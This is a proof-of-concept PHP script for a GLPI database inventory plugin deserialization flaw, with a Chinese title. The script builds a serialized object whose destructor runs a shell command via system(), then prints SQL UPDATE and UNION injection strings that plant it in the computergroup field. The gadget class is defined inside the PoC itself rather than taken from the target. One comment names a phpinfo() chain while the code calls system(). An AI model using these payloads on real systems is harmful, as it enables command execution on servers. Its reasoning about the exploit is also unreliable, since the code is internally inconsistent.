CVE-2025-65035 GLPI数据库清单插件不安全反序列化漏洞

<?php // CVE-2025-65035 PoC - pluginsGLPI Database Inventory Plugin Unsafe Deserialization // This PoC demonstrates PHP Object Injection via computergroup field // Prerequisites: Database write access (e.g., via SQL injection or misconfiguration) // Malicious serialized payload for PHP Object Injection // Using a simple example with phpinfo() gadget chain class DatabaseInventoryGadget { private $command; public function __construct($cmd) { $this->command = $cmd; } public function __destruct() { // This will be executed when the object is destroyed system($this->command); } } // Generate malicious payload $malicious_obj = new DatabaseInventoryGadget('whoami'); $payload = serialize($malicious_obj); echo "Malicious Payload for computergroup field:\n"; echo $payload . "\n\n"; // SQL Injection payload to inject into computergroup // Assuming the attacker has identified a SQL injection point $sql_payload = "'" . addslashes($payload) . "'"; echo "SQL Injection Payload:\n"; echo "UPDATE glpi_plugin_databaseinventory_computergroup SET computergroup='" . $sql_payload . "' WHERE id=1;\n"; // Alternative: If direct SQL injection is possible // UNION-based injection example $union_payload = "' UNION SELECT '" . addslashes($payload) . "',2,3,4-- -"; echo "\nUNION Injection Payload:\n"; echo $union_payload . "\n"; // Note: This PoC requires: // 1. Database write access (SQL injection, weak credentials, or another vulnerability) // 2. A suitable PHP gadget chain in the application's class autoload // 3. The vulnerable unserialization call in the plugin code ?>